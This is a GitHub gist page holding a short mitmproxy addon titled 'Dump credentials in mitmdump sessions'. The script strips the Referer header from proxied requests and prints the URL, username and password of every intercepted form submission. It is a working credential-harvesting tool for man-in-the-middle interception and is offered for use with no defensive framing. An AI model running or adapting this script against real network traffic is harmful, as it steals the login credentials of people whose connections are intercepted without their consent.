Skip to content

Instantly share code, notes, and snippets.

@chokepoint
Created March 31, 2017 01:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chokepoint/c840455138046b038e17106be0b4e2ba to your computer and use it in GitHub Desktop.
Save chokepoint/c840455138046b038e17106be0b4e2ba to your computer and use it in GitHub Desktop.
Dump credentials in mitmdump sessions
# Print values from forms named username and password respectively
def response(flow):
try:
flow.request.headers.pop('Referer')
except Exception:
pass
if flow.request.urlencoded_form:
try:
username = flow.request.urlencoded_form['username']
password = flow.request.urlencoded_form['password']
print("URL: %s" % flow.request.url)
print("Username: %s" % username)
print("Password: %s" % password)
except Exception:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment